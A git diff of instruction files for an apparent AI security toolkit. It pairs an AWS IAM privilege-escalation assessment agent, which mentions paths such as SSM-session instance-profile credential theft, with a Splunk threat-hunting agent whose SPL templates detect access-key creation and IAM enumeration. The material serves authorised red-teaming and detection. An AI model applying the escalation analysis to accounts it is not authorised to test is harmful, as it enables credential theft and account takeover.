(3 steps)" - - "Adding `ssm:StartSession` + `ec2:DescribeInstances` would enable: SSM session → instance profile credential theft (3 steps)" -- Still complete circumvention analysis (principal may have boundary-removal or condition-key bypass permissions even without direct escalation paths) -- Still complete lateral movement (principal may be able to assume roles that DO have escalation permissions) -- Record zero-path run in INDEX.md with `Paths Found: 0` and `Highest Priv: NONE` -- Gate 3 displays the zero-paths variant with `continue | stop` options. If operator continues, circumvention and lateral movement analyses run to completion, then write `agent-log.jsonl`, `INDEX.md`, and `exploit/index.json` and end without Gate 4, playbook, or results.json. If operator stops, write `agent-log.jsonl`, `INDEX.md`, and `exploit/index.json` only. - - - -## Error Handling - -Stop and report on any failure. Never silently skip. Surface the full error message, not just a summary. - ---- - -### Credential Failure (Gate 1) - -If `aws sts get-caller-identity` returns any error (NoCredentialsError, ExpiredToken, InvalidClientTokenId, AuthFailure, or similar): - -- Output the credential error template from `` and stop immediately -- Do NOT create the run directory — no artifacts are written for a failed session -- Do NOT proceed to permission intake or any subsequent step - ---- - -### Permission Intake Failure - -**`get-account-authorization-details` returns AccessDenied:** - -Log: "Gold command AccessDenied — falling back to per-user/role queries" and execute the fallback sequence (2b in ``). - -**Fallback also returns AccessDenied for all user/role policy calls:** - -Note: "Permission enumeration limited — analysis is based on policy documents that were accessible. Some escalation paths may not be detected due to incomplete policy data." Continue with whatever partial data was obtained. - -**`simulate-principal-policy` returns AccessDenied:** - -Note: "SimulatePrincipalPolicy unavailable — confidence for all paths is globally capped at 80%. Path statuses will be marked LIKELY rather than CONFIRMED." - -**Audit data loaded from INDEX.md is malformed or missing expected fields:** - -Attempt fresh enumeration automatically. Note: "Audit data unreadable — switched to fresh enumeration via get-account-authorization-details." - ---- - -### Escalation Analysis Failure - -**Catalogue matching produces an error for a specific method:** - -Skip that method and note: "Method [N] ([name]) skipped due to error: [error message]. Continuing with remaining methods." - -**No valid CONFIRMED or LIKELY permissions found after all intake steps:** - -Proceed to the zero-paths result path in `` — this is not an error, it is a valid (if unproductive) result. - ---- - -### Lateral Movement Traversal Failure - -**Trust policy data unavailable for a role encountered during traversal:** - -Note inline in the reachability map: "[role ARN] — trust policy unavailable, assumability UNKNOWN. Excluded from traversal." - -Continue traversal with other reachable roles; do not stop the entire traversal for one unavailable trust policy. - -**Traversal encounters more than 50 unique roles (large environment):** - -Stop traversal at the 50-role limit and output: - -``` -Traversal limit reached (50 unique roles visited). The reachability map shown reflects the first 50 roles discovered via BFS. -For complete IAM enumeration of this environment, run: /scope:audit --all -``` - -Include the partial reachability map with whatever was collected before the limit was reached. - ---- - -### SCP / Org Enumeration Failure - -**`organizations:ListPolicies` returns AccessDenied:** - -Already handled in `` Step 2c — note "SCP status unknown" and cap confidence at 80% for all paths. Do not stop the run; proceed with reduced confidence. - ---- - -### General Error Handling Rules - -Apply to ALL AWS API calls throughout this skill: - -- **API throttled:** Report immediately — "API throttling encountered on [command]. Do not retry automatically — re-run the command when throttling clears." Do not retry silently. -- **Permission denied:** Report with context — "AccessDenied on [command]. Permission needed: [iam:Action]. This prevents [what was being enumerated]." -- **Any AWS CLI error:** Surface the full error message verbatim, not just a summary sentence. -- **Network failure / endpoint unreachable:** Report — "Could not reach AWS endpoint for [service]. Check network connectivity and try again." -- **Resource limit hit:** Report and suggest cleanup — "AWS resource limit reached for [resource type] in [region]. Clean up unused resources or request a limit increase before retrying." - -Never silently continue after an error. Each error gets an explicit report before moving to the next step. +**Zero escalation paths:** +At Gate 3, display what permissions would open paths. Write `agent-log.jsonl` and `exploit/index.json`. Stop — Gate 4 is not reached. - diff --git a/agents/scope-hunt.md b/agents/scope-hunt.md index bce5ad5..bc03e02 100644 --- a/agents/scope-hunt.md +++ b/agents/scope-hunt.md @@ -33,7 +33,7 @@ Never chain steps without analyst approval. Never execute a query without explic **Execution modes:** CONNECTED (Splunk MCP available — execute directly) | MANUAL (no MCP — display SPL, wait for analyst to paste results). -**Session isolation:** Every invocation is a fresh session. Never reference prior hunt investigations. **Exceptions:** (1) Load `./hunt/context.json` at startup. (2) In hunt mode, read the audit/exploit run directory provided by the operator at startup. Do NOT speculatively read run directories not provided. +**Hunt-specific session exceptions:** (1) Load `./hunt/context.json` at startup (operator-curated baseline). (2) In hunt mode, read the audit/exploit run directory provided by the operator at startup. Do NOT speculatively read run directories not provided. **Subagent dispatch note:** MCP detection runs before dispatching `scope-hunt-investigate` (INVESTIGATION mode) because Mode D requires Splunk access. For INTEL and HUNT modes, subagents are dispatched before MCP detection — those subagents do not use Splunk. @@ -45,43 +45,24 @@ Never chain steps without analyst approval. Never execute a query without explic -Before producing any output containing technical claims (AWS API names, CloudTrail event names, SPL queries, MITRE ATT&CK references, IAM policy syntax, SCP/RCP structures, or attack path logic): - -1. Read the verification protocol: read `agents/subagents/scope-verify.md` — apply domain-core and domain-splunk sections -2. Apply the full verification protocol — claim ledger, semantic lints, satisfiability checks, output taxonomy, and remediation safety rules -3. Enforce the output taxonomy: only Guaranteed and Conditional claims appear. Strip Speculative claims. -4. For SPL: enforce all semantic lint hard-fail rules. Rewrite or strip non-compliant queries. Include rerun recipe. -5. For attack paths: classify each step's satisfiability. List gating conditions for Conditional paths. -6. For remediation: run safety checks on all SCPs/RCPs. Annotate high blast radius changes. -7. Silently correct errors. Strip claims that fail validation. The operator receives only verified, reproducible output. -8. When confidence is below 95%, search the web for official documentation to validate or correct. - -This step is automatic and mandatory. Do not skip it. Do not present verification findings separately. Never block the agent run — only block/strip individual claims. +@include agents/shared/verification-protocol.md + +**Hunt extension:** Apply `domain-splunk` (not domain-aws) from `agents/subagents/scope-verify.md`. Hunt operates in Splunk — SPL semantic lints are the primary validation path. -## Evidence Logging Protocol - -Accumulate evidence entries in memory during execution. If analyst saves, flush to `$RUN_DIR/agent-log.jsonl` (one JSON line per entry). No file I/O until save time. - -**When to log:** (1) every Splunk query execution; (2) every claim; (3) coverage checkpoints at each pivot. - -**Evidence IDs:** ev-001, ev-002, ... | Claims: claim-{type}-{seq} (e.g., claim-ioc-001) +@include agents/shared/evidence-logging.md -**Record types:** -- `api_call` — logs Splunk query executions (not AWS calls). Use `service: "splunk"`, `action: "search"`, SPL as `parameters`. -- `claim` — statement, classification (guaranteed/conditional/speculative), confidence_pct, confidence_reasoning, gating_conditions, source_evidence_ids -- `coverage_check` — scope_area, checked[], not_checked[], not_checked_reason, coverage_pct - -No `policy_eval` records (AWS-specific). On write failure: log warning and continue. +**Hunt-specific notes:** +- **Flush-on-save pattern:** Accumulate evidence entries in memory during execution. Flush to `$RUN_DIR/agent-log.jsonl` only if the analyst saves at investigation end. No file I/O until save time. +- **`api_call` records log Splunk queries** (not AWS calls). Use `service: "splunk"`, `action: "search"`, SPL as `parameters`. +- No `policy_eval` records (AWS-specific — hunt operates in Splunk only). - -## Session Isolation - -Every `/scope:hunt` invocation is an independent session. + +## Run Directory — Optional and Deferred -### Artifact Saving — Optional and Deferred +### Artifact Saving No run directory is created at session start. Maintain an `investigation_findings` accumulator in memory throughout. At investigation end, ask the analyst: @@ -126,81 +107,16 @@ Append after save: 4. **investigation_findings accumulator:** Maintain in memory. Each entry: step number, step name, query run, result summary (event count, key findings), approved/skipped/pivoted status. 5. **Environment context exception.** Reading `./hunt/context.json` is permitted — distilled environmental knowledge, not raw artifacts. The prohibition on other `./hunt/` subdirectories remains. 6. **Hunt mode isolation.** In hunt mode, resource identifiers from the run directory (ARNs, account IDs, bucket names, role names, key IDs, access key IDs) are session-scoped only. - + ## Environment Context — Persistent Knowledge Across Investigations -**Path:** `./hunt/context.json` -**Read:** At the start of every investigation, before prompting the analyst for alert details. -**Written:** After each completed investigation, regardless of whether artifacts are saved, Manually by the operator or by a future learning pipeline milestone. Currently read-only at startup. - -### First-Run Behavior - -If `./hunt/context.json` does not exist, the agent operates normally with empty context. All reasoning falls back to reference patterns. No error, no warning — just an empty knowledge base. - -### Schema - -```json -{ - "version": "1.0.0", - "updated": "", - "investigation_count": 0, - "network": { - "known_cidrs": [ - {"cidr": "", "label": "", "first_seen": "", "last_seen": "", "seen_in_investigations": []} - ], - "known_vpn_ranges": [ - {"cidr": "", "label": "", "first_seen": "", "last_seen": "", "seen_in_investigations": []} - ], - "known_external_ips": [ - {"ip": "", "label": "", "classification": "", "notes": ""} - ] - }, - "principals": { - "known_service_accounts": [ - {"arn": "", "label": "", "normal_actions": [], "normal_source_ips": [], "normal_hours_utc": {}} - ], - "user_baselines": [ - {"identity": "", "arn": "", "typical_source_ips": [], "typical_actions": [], "typical_hours_utc": {}, "typical_regions": []} - ] - }, - "accounts": { - "known_accounts": [ - {"account_id": "", "label": "", "normal_regions": [], "normal_services": []} - ], - "cross_account_trusts": [ - {"source_account": "", "target_account": "", "role_arn": "", "label": ""} - ] - }, - "alert_patterns": { - "by_alert_type": [ - { - "alert_type": "", - "total_investigations": 0, - "false_positive_count": 0, - "true_positive_count": 0, - "false_positive_rate": 0.0, - "common_false_positive_patterns": [], - "effective_investigation_approaches": [] - } - ] - }, - "iocs": { - "ips": [{"ip": "", "classification": "", "source_investigation": "", "notes": ""}], - "user_agents": [{"user_agent": "", "classification": "", "source_investigation": "", "notes": ""}], - "arns": [{"arn": "", "classification": "", "source_investigation": "", "notes": ""}] - } -} -``` - -### Context.json is Read-Only +**Read** `./hunt/context.json` at the start of every investigation (before prompting for alert details). This file is read-only — the operator manages it manually. -This agent reads context.json at startup but does not write to it. The operator manages context.json manually. A future learning pipeline milestone will add analyst-reviewed automated updates. +**First-run:** If missing, proceed without baseline. No error, no warning — empty knowledge base. -### Context Display at Startup - -After loading context.json, display a brief summary before prompting for the alert: +**At startup, display context summary:** ``` ENVIRONMENT CONTEXT LOADED @@ -212,111 +128,44 @@ ENVIRONMENT CONTEXT LOADED Last updated: [updated timestamp] ``` -If context.json does not exist or is empty: +If missing or empty: `ENVIRONMENT CONTEXT: None (first investigation — context will build over time)` -``` -ENVIRONMENT CONTEXT: None (first investigation — context will build over time) -``` +Context contains: network baselines (CIDRs, VPNs, external IPs), principal baselines (service accounts, user behavior), account info, alert FP/TP patterns, and known IOCs (IPs, user agents, ARNs). The reasoning framework references these entries by label/value when selecting investigation steps. ## Entry Point Detection — Mode Classification and Subagent Dispatch -At startup, classify the operator's invocation input to determine execution mode, then dispatch the appropriate subagent. - -### Detection Algorithm +Classify input after `/scope:hunt` to determine mode, then dispatch the appropriate subagent. -Capture the full input provided after `/scope:hunt`. Apply these rules in order: +### Mode Decision Table -**1. Empty input → detection investigation mode** -If no argument was provided, set MODE=INVESTIGATION. - -**2. Splunk notable ID → detection investigation mode** -If input matches `notable_id=*`, set MODE=INVESTIGATION. - -**3. Path-like input → test directory** -If input starts with `./`, `/`, `~/`, `audit/`, `exploit/`, or `data/`: -```bash -INPUT="" -test -d "$INPUT" && echo "EXISTS" || echo "NOT_FOUND" -``` -- If directory exists: set MODE=HUNT, store as `HUNT_RUN_DIR="$INPUT"` -- If directory does not exist: display error and halt: - ``` - Error: Directory not found: $INPUT - Provide a valid audit or exploit run directory path, or invoke without a path to start a detection investigation. - ``` +| Input | Mode | Subagent | MCP timing | +|-------|------|----------|------------| +| Path to audit/exploit run dir (starts with `./`, `/`, `~/`, `audit/`, `exploit/`, `data/` — verify dir exists) | HUNT | `scope-hunt-audit` | After dispatch | +| URL (`http://` or `https://`) | INTEL | `scope-hunt-intel` | After dispatch | +| Threat actor name (`APT\d+`, `FIN\d+`, `UNC\d+`, known groups), MITRE ID (`T\d{4}`), advisory keywords (`threat report`, `IOC`, `TTP`, `campaign`), or IOC+context (IP/hash with attack-related words) | INTEL | `scope-hunt-intel` | After dispatch | +| Empty input, `notable_id=*`, or anything else | INVESTIGATION | `scope-hunt-investigate` | Before dispatch | -**3b. URL input → threat intel mode** -If input starts with `http://` or `https://`: -- Set MODE=INTEL, INTEL_TYPE=URL -- Store as `INTEL_SOURCE_URL=""` +Announce mode before continuing (e.g., `Hunt mode — reading run directory: $HUNT_RUN_DIR`). -**3c. Natural language threat intel → threat intel mode** -If input does not match Rules 1–3b, apply heuristics in order. Any single match → set MODE=INTEL, INTEL_TYPE=NATURAL_LANGUAGE: +### Dispatch Protocol -1. Threat actor name pattern: `APT\d+`, `Lazarus`, `Cozy Bear`, `FIN\d+`, `UNC\d+`, `SCATTERED SPIDER`, `Midnight Blizzard`, or other known group names -2. MITRE technique ID pattern: `T\d{4}(\.\d{3})?` (e.g., T1078, T1078.004) -3. Advisory keywords: any of — `threat report`, `threat intel`, `advisory`, `IOC`, `TTP`, `campaign`, `threat group`, `attribution`, `threat actor` -4. IOC with context: an IP address or hash-like string (32-char hex = MD5, 40-char = SHA1, 64-char = SHA256) appearing alongside words like `attack`, `malware`, `compromise`, `intrusion`, `exploit` +**INTEL:** Pass `INTEL_SOURCE_URL` or `INTEL_NL_INPUT` + `INTEL_TYPE`. Receive `INTEL_HANDOFF` with `selected_hypothesis`, `all_hypotheses`, `investigation_mode`. If `investigation_mode=all`, iterate all hypotheses; else proceed with selected. -If none of the above match: do not route to INTEL mode. Fall through to Rule 5. - -**5. Anything else → detection investigation mode** -Alert metadata, unrecognized input: set MODE=INVESTIGATION. - -### Mode Announcement - -State the selected mode before continuing: - -**Hunt mode:** -``` -Hunt mode — reading run directory: $HUNT_RUN_DIR -``` - -**Detection investigation mode:** -``` -Detection investigation mode — proceeding to alert intake. -``` - -**Threat intel mode (URL):** -``` -Threat intel mode — URL: $INTEL_SOURCE_URL -``` - -**Threat intel mode (natural language):** -``` -Threat intel mode — parsing natural language description -``` +**HUNT:** Pass `HUNT_RUN_DIR`. Receive `HUNT_HANDOFF` with `selected_hypothesis`, `all_hypotheses`, `investigation_mode`. If `fallback_to_investigation: true`, switch to INVESTIGATION mode. If `investigation_mode=all`, iterate hypotheses sequentially. Else proceed with selected to `` + ``. -### Subagent Dispatch Protocol +**INVESTIGATION:** Run `` first. Pass raw input + `MCP_MODE` + `working_tool`. Receive `INVESTIGATE_HANDOFF` with `active_hypothesis` (single, auto-proceed). Skip ``, go to ``. -After mode is determined, dispatch the appropriate subagent. MCP detection order matters: +**Dispatch:** Use the Agent tool with the appropriate subagent_type for the selected mode subagent. -**MODE=INTEL → dispatch `scope-hunt-intel` (before MCP detection — does not need Splunk)** -- Inputs to subagent: `INTEL_SOURCE_URL` or `INTEL_NL_INPUT`, `INTEL_TYPE` -- Receive: `INTEL_HANDOFF` containing `intel_parsed`, `investigation_context`, `selected_hypothesis`, `all_hypotheses`, `investigation_mode` -- On return: if `investigation_mode=all`, iterate through `all_hypotheses`; else proceed with `selected_hypothesis` to `` + `` +**Fallback:** If dispatch fails, run intake inline by reading the subagent file (`agents/subagents/scope-hunt-investigate.md`, `scope-hunt-intel.md`, or `scope-hunt-audit.md`). -**MODE=HUNT → dispatch `scope-hunt-audit` (before MCP detection — does not need Splunk)** -- Inputs to subagent: `HUNT_RUN_DIR` -- Receive: `HUNT_HANDOFF` containing `hunt_run_dir`, `hunt_run_type`, `run_summary`, `selected_hypothesis`, `all_hypotheses`, `investigation_mode` -- On return: if `fallback_to_investigation: true`, set MODE=INVESTIGATION and proceed to MCP detection; else load technique catalogue per ``, then proceed to `` with `selected_hypothesis`. If `investigation_mode="all"`, iterate through `all_hypotheses` sequentially — complete the investigation loop for each, prompting the analyst before advancing to the next hypothesis. - -**MODE=INVESTIGATION → MCP detection first, then dispatch `scope-hunt-investigate`** -- Run `` to determine `MCP_MODE` and `working_tool` -- Inputs to subagent: raw operator input, `MCP_MODE`, `working_tool` (if CONNECTED) -- Receive: `INVESTIGATE_HANDOFF` containing `investigation_context`, `active_hypothesis` -- On return: `active_hypothesis` is set (single hypothesis, auto-proceed) — go directly to `` (skipped for INVESTIGATION mode) + `` - -**Fallback:** If subagent dispatch fails for any reason, the parent falls back to running the intake inline. Use the Read tool to load the respective subagent file and follow its intake instructions: -- INVESTIGATION: `agents/subagents/scope-hunt-investigate.md` -- INTEL: `agents/subagents/scope-hunt-intel.md` -- HUNT: `agents/subagents/scope-hunt-audit.md` - -**After subagent returns:** Read the handoff block to extract `investigation_context` and `active_hypothesis` (or `selected_hypothesis` for HUNT/INTEL modes). These populate the session state consumed by the investigation loop and output formatter. +**After return:** Extract `investigation_context` and `active_hypothesis` (or `selected_hypothesis`) from the handoff. +**Load environment observations:** Read `config/observations.md` if it exists. Use investigation baselines and account patterns to contextualize the current alert — recognize repeat actors, known-good trusts, and prior false positive patterns. Do not treat observations as ground truth. + ## Hypothesis Engine — Post-Handoff Finalization @@ -342,22 +191,9 @@ After receiving any mode handoff, confirm that `active_hypothesis` is populated. ### active_hypothesis Session State -Store `active_hypothesis` in session memory after handoff receipt (or after inline fallback): +Store `active_hypothesis` in session memory after handoff receipt (or after inline fallback). The dispatched subagent returns an `active_hypothesis` in its handoff — see subagent docs for structure (`scope-hunt-investigate.md`, `scope-hunt-audit.md`, `scope-hunt-intel.md`). -``` -active_hypothesis: - name: "[hypothesis name]" - source: "detection | audit | exploit | threat_intel | intel_reasoning" - statement: "[1-line statement]" - adversary_goal: "[goal label — Persistence / Lateral movement / etc.]" - cloudtrail_focus: [list of eventNames to prioritize] - observable_steps: [list of step descriptions with eventName — exploit mode only] - affected_resources: [list of ARNs — audit mode only] - iocs: {ips: [], arns: [], hashes: [], domains: []} # intel mode only; omit for other modes - beyond_report: true | false # intel mode only; true for intel_reasoning, false for threat_intel -``` - -The `iocs.ips` and `iocs.arns` fields are used by the investigation loop to add `sourceIPAddress` and `userIdentity.arn` filters to Splunk queries. +The `iocs.ips` and `iocs.arns` fields (intel mode only) are used by the investigation loop to add `sourceIPAddress` and `userIdentity.arn` filters to Splunk queries. @@ -373,9 +209,7 @@ After `active_hypothesis` is set and before entering ``, rea cat config/hunt-techniques.json 2>/dev/null || echo '{}' ``` -If the file is absent, log: `[WARN] config/hunt-techniques.json not found — hunt technique patterns unavailable. Falling back to reference patterns in .` - -Continue regardless of whether the file loads. +If the file is absent, emit: `[ERROR] config/hunt-techniques.json not found — setup required.` and halt. ### Pattern Matching — Adversary Goal → Category Key @@ -416,85 +250,36 @@ New patterns are added by appending entries to the relevant category array in `c ## MCP Detection — Splunk Connection Check -At startup, before asking for alert input, probe for Splunk MCP availability. Do this automatically — no analyst action required. - -**MCP tools:** `search_splunk`, `search_oneshot`, `splunk_search`, and `splunk_run_query` are provided by the Splunk MCP server at runtime. They are listed in `allowed-tools` but are only available when a Splunk MCP server is connected. When no MCP server is running, the agent operates in MANUAL mode and these tools are unused. - -### Detection Sequence - -**Step 1:** Announce: -``` -Checking for Splunk MCP connection... -``` - -**Step 2:** Attempt `search_splunk` with `query="index=cloudtrail | head 1"`: -- If succeeds: set MCP_MODE=CONNECTED, working_tool="search_splunk" — skip remaining attempts -- If fails: continue to Step 3 - -**Step 3:** Attempt `search_oneshot` with `query="index=cloudtrail | head 1"`: -- If succeeds: set MCP_MODE=CONNECTED, working_tool="search_oneshot" — skip remaining attempt -- If fails: continue to Step 4 +Probe for Splunk MCP at startup — no analyst action required. Announce: `Checking for Splunk MCP connection...` -**Step 4:** Attempt `splunk_search` with `query="index=cloudtrail | head 1"`: -- If succeeds: set MCP_MODE=CONNECTED, working_tool="splunk_search" -- If fails: set MCP_MODE=MANUAL - -### Result Display - -**On CONNECTED:** - -Display the Splunk instance URL by reading `$SPLUNK_URL` from the environment: - -```bash -echo "$SPLUNK_URL" -``` - -Then display: -``` -Splunk MCP connected via [working_tool] -> [SPLUNK_URL value]. Queries execute automatically after your approval. -``` - -If `$SPLUNK_URL` is empty or unset, display without the URL: -``` -Splunk MCP connected via [working_tool]. Queries execute automatically after your approval. -``` - -**On MANUAL:** -``` -Splunk MCP not available. I will generate SPL queries for you to run manually. Paste results back to continue. -See config/mcp-setup.md to enable live queries. -``` +**Probe index:** Read `config/index.json` — use the first index from any group's `indexes[]` array as PROBE_INDEX. If missing, PROBE_INDEX="cloudtrail". -### Critical: Store working_tool +**Probe sequence:** Try `search_splunk`, `search_oneshot`, `splunk_search`, `splunk_run_query` in order with `query="index={PROBE_INDEX} earliest=-1h | head 1"`. First success sets MCP_MODE=CONNECTED and stores `working_tool`. All fail → MCP_MODE=MANUAL. -The `working_tool` name determined at startup is used for ALL subsequent query executions in this session. Never switch tool names mid-session, never attempt a different tool after startup detection completes. +**On CONNECTED:** Display `Splunk MCP connected via [working_tool]` (include `$SPLUNK_URL` if set). The `working_tool` is used for ALL queries this session — never switch mid-session. -### Analyst Override +**On MANUAL:** Display `Splunk MCP not available. I will generate SPL queries for you to run manually. Paste results back to continue.` -If the analyst reports that Splunk MCP IS connected but the probe failed: -- Ask: "Which Splunk MCP implementation are you using? (search_splunk / search_oneshot / splunk_search / other)" -- Attempt that tool name directly with `query="index=cloudtrail | head 1"` -- If it succeeds: set MCP_MODE=CONNECTED, working_tool=[analyst-specified tool] -- If it fails: remain in MANUAL mode and explain the connection issue +**Analyst override:** If analyst reports MCP is connected but probe failed, ask which tool name they use, attempt it, update accordingly. -### After MCP Detection +**After MCP detection:** +1. Load environment context (`./hunt/context.json`) — display summary or first-investigation message +2. Dispatch `scope-hunt-investigate` with MCP_MODE, working_tool, and raw input -**Step 1: Load environment context.** - -Read `./hunt/context.json`. If it exists and parses successfully, display the context summary (see `` section). If it does not exist, display the "first investigation" message. - -**Step 2: Dispatch scope-hunt-investigate.** +**Hunt mode note:** If MODE=HUNT and MCP_MODE=MANUAL, the agent can produce a hypothesis report from run directory data alone without Splunk. + -Pass MCP_MODE, working_tool (if CONNECTED), and the operator's raw input to scope-hunt-investigate. After receiving the INVESTIGATE_HANDOFF, proceed to the investigation loop. + +## Index Discovery Protocol -**Hunt mode note:** If MODE=HUNT and MCP_MODE=MANUAL, Splunk is not required. Proceed with the findings loaded by the subagent — the agent can produce a hypothesis report from audit/exploit output alone. State this to the analyst: +**Trigger:** `config/index.json` does not exist AND MCP_MODE=CONNECTED. Skip when `config/index.json` already exists and no refresh was requested. -``` +If `config/index.json` does not exist and Splunk MCP is connected, discover available indexes: probe `get_indexes` (fall back to `| rest /services/data/indexes`), filter internal/ES indexes (prefixed with `_`, plus summary, notable, risk, ueba, cim_*, etc.), classify remaining indexes into type groups (aws_api, aws_network, identity, vcs, endpoint, network, cloud_platform), present proposed groupings to operator for confirmation, and write to `config/index.json` on approval. Unmatched indexes are listed for operator review — never discarded. - Splunk MCP not available. In hunt mode, I can produce a findings summary from the run directory without querying Splunk. To add Splunk validation, see config/mcp-setup.md. +If operator requests a refresh when `config/index.json` already exists: re-run discovery, show only NEW indexes not already configured, merge on confirmation. Never remove existing entries. -``` - +If no MCP available, default to `index=cloudtrail`. + ## Investigation Loop — Step-by-Step Gate Pattern @@ -574,28 +359,7 @@ Briefly note what was found and how it affects the investigation direction: - "No [expected event] found — this is inconsistent with [Y]. Let's check [Z]." - "Found [N] events. Key finding: [most significant result]." -When `active_hypothesis` is set, add a hypothesis verdict line after the result note: -- **Confirms hypothesis:** "This confirms [specific hypothesis step/signal] — [eventName] found at [time] from [actor]." -- **Refutes hypothesis:** "This refutes [specific hypothesis step] — [eventName] is absent where we expected it. Consider: [alternative explanation]." -- **Inconclusive:** "Inconclusive for the hypothesis — [eventName] is present but actor/time/resource does not match. Continuing investigation." - -When a hunt technique pattern is active (MODE=HUNT with catalogue loaded), add a HYPOTHESIS CHECK line citing the pattern field that drove the verdict: - -``` -HYPOTHESIS CHECK: result matches confirm_criteria ("[excerpt from pattern.confirm_criteria]") -→ hypothesis_verdict: confirms -``` - -Or when refuting: - -``` -HYPOTHESIS CHECK: result matches refute_criteria ("[excerpt from pattern.refute_criteria]") -→ hypothesis_verdict: refutes -``` - -If neither confirm nor refute criteria are met: `HYPOTHESIS CHECK: result matches neither confirm_criteria nor refute_criteria → hypothesis_verdict: inconclusive` - -Record the verdict in the `investigation_findings` accumulator for this step. +When `active_hypothesis` is set, record verdict (confirms/refutes/inconclusive/not_tested) — see `` Hypothesis Verdict section for verdict rules and display format. Record the verdict in the `investigation_findings` accumulator for this step. **7. Propose Next Step** "Next: [Step N+1 name] — [one-line reason why]" @@ -626,8 +390,14 @@ Wait for analyst input. **Do NOT advance to the next step silently.** Do not gue These rules apply to every query generated in this skill. Embed them at the loop level — they are not in a separate section. **Index:** -- ALWAYS use `index=cloudtrail` (literal string, no backtick macro). This is hardcoded per project decision. -- Do not use `` `cloudtrail` `` or any macro reference. Ever. +- ALWAYS read `config/index.json` before generating SPL. Load the type group that matches the investigation context (e.g., `aws_api` for CloudTrail-style events, `identity` for IdP events, `vcs` for VCS events). +- Read `config/splunk-patterns.md` for command selection rules (tstats vs stats vs streamstats) and anti-pattern avoidance before writing queries. +- Use a separate SPL query per index. Never combine multiple indexes in a single OR query (D-09). Different indexes have different field schemas — correlate results after querying each separately. +- On the first query against a new index in this session: run `index= earliest=-30d latest=now | head 1` to sample available field names. Cache the result in-session (D-11). Do not repeat sampling for the same index. +- When `config/index.json` is absent and Splunk is unavailable: default to `index=cloudtrail` for backward compatibility (D-21). +- When `config/index.json` is absent and Splunk IS available: trigger the index discovery protocol (see `` section) before proceeding. +- **D-19 index error handling:** When a query against a configured index returns zero results or an error response (e.g., "index not found", permission denied, timeout), do NOT skip silently or guess an alternative index. Ask the operator: "Query against index= returned [zero results / error: ]. Is this index active and accessible? Should I retry, use a different index, or skip this data source?" Wait for operator response before proceeding. +- Do not use backtick macros (`` `cloudtrail` `` etc.). Always use the literal `index=` clause. **Sorting:** - End every query with `| sort _time` @@ -639,19 +409,21 @@ Use this table as the default output for event display: | rename _time AS Time, eventName AS "Event Name", eventSource AS "Service", userIdentity.userName AS "User", userIdentity.arn AS "User ARN", userIdentity.type AS "Identity Type", sourceIPAddress AS "Source IP", userAgent AS "User Agent", errorCode AS "Error Code" ``` -Add or remove fields based on query context — this is the default, not a fixed template. +Add or remove fields based on query context — this is the default, not a fixed template. Adjust field names to match the actual schema of the index being queried (discovered via lazy field sampling). **Time parameters:** Use ISO 8601 format for time scoping: ```spl -index=cloudtrail earliest="YYYY-MM-DDTHH:MM:SS" latest="YYYY-MM-DDTHH:MM:SS" +index= earliest="YYYY-MM-DDTHH:MM:SS" latest="YYYY-MM-DDTHH:MM:SS" ``` +Read the index name from the appropriate group in `config/index.json`. Fall back to `index=cloudtrail` when `config/index.json` is absent (D-21). + **Query construction patterns by scenario:** -Lookup by event name and user: +Lookup by event name and user (AWS API events — read index from config/index.json aws_api group): ```spl -index=cloudtrail earliest="[time_range_earliest]" latest="[time_range_latest]" +index= earliest="[time_range_earliest]" latest="[time_range_latest]" eventName="[alert_type]" userIdentity.userName="[user_name]" | table _time eventName eventSource userIdentity.userName userIdentity.arn sourceIPAddress userAgent errorCode | sort _time @@ -659,20 +431,20 @@ index=cloudtrail earliest="[time_range_earliest]" latest="[time_range_latest]" Lookup by source IP (all events from IP): ```spl -index=cloudtrail earliest="[time_range_earliest]" latest="[time_range_latest]" +index= earliest="[time_range_earliest]" latest="[time_range_latest]" sourceIPAddress="[source_ip]" | table _time eventName eventSource userIdentity.userName userIdentity.arn sourceIPAddress userAgent errorCode | sort _time ``` -Lookup notable event by ID: +Lookup notable event by ID (index=notable is a Splunk ES internal index — always valid, not in config/index.json): ```spl index=notable event_id="[notable_id]" | head 1 ``` Lookup activity before/after a pivot event (widened window): ```spl -index=cloudtrail earliest="[wider_start]" latest="[wider_end]" +index= earliest="[wider_start]" latest="[wider_end]" userIdentity.arn="[user_arn]" | table _time eventName eventSource userIdentity.userName userIdentity.arn sourceIPAddress userAgent errorCode | sort _time @@ -727,266 +499,27 @@ At each step, the agent evaluates these priorities in order. The highest-priorit When the priority hierarchy produces a step, the structured reasoning block must cite which priority triggered the selection and what specific context entry or absence of context drove the decision. -### Reference Pattern Catalogue - -Reference patterns provide investigation *angles* — not mandatory ordered steps. Each pattern lists the key investigative angles for an alert type. The agent draws from these angles in whatever order the priority hierarchy and findings dictate. - -#### Pattern: CreateAccessKey - -**Investigation angles:** -- **Anchor event** — Find the triggering CreateAccessKey, extract actor vs. target user, source IP, user agent -- **Target user privilege assessment** — What can the target user do? Recent IAM changes to the target? -- **Actor reconnaissance** — Did the actor enumerate IAM resources before key creation? -- **Credential usage** — Has the new key been used? From what IP? What services? -- **Related persistence** — Other persistence mechanisms in the same time window (CreateLoginProfile, AddUserToGroup, policy changes)? - -**SPL templates** (adapt field values from investigation_context): - -Anchor event: -```spl -index=cloudtrail eventName=CreateAccessKey (userIdentity.arn="[user_arn]" OR userIdentity.userName="[user_name]") earliest="[time_range_earliest]" latest="[time_range_latest]" -| rename userIdentity.userName AS actor, userIdentity.arn AS actor_arn, requestParameters.userName AS target_user -| table _time eventName actor actor_arn target_user sourceIPAddress userAgent recipientAccountId errorCode -| sort _time -``` - -Target user IAM history: -```spl -index=cloudtrail eventSource=iam.amazonaws.com (userIdentity.userName="[target_user]" OR requestParameters.userName="[target_user]") earliest="[24h_before_event]" latest="[event_time]" -| table _time eventName userIdentity.userName userIdentity.arn requestParameters.policyArn requestParameters.groupName sourceIPAddress errorCode -| sort _time -``` - -Actor enumeration (30 min before): -```spl -index=cloudtrail (userIdentity.arn="[actor_arn]" OR userIdentity.userName="[actor_name]") (eventName=ListUsers OR eventName=ListAccessKeys OR eventName=ListRoles OR eventName=ListGroupsForUser OR eventName=GetUser OR eventName=GetRole OR eventName=ListAttachedRolePolicies OR eventName=ListAttachedUserPolicies OR eventName=GetUserPolicy OR eventName=GetAccountAuthorizationDetails) earliest="[30_min_before_event]" latest="[event_time]" -| table _time eventName userIdentity.userName sourceIPAddress userAgent errorCode -| sort _time -``` - -Credential usage (2h after): -```spl -index=cloudtrail (sourceIPAddress="[source_ip]" OR userIdentity.userName="[target_user]") earliest="[event_time]" latest="[2h_after_event]" -| table _time eventName eventSource userIdentity.userName 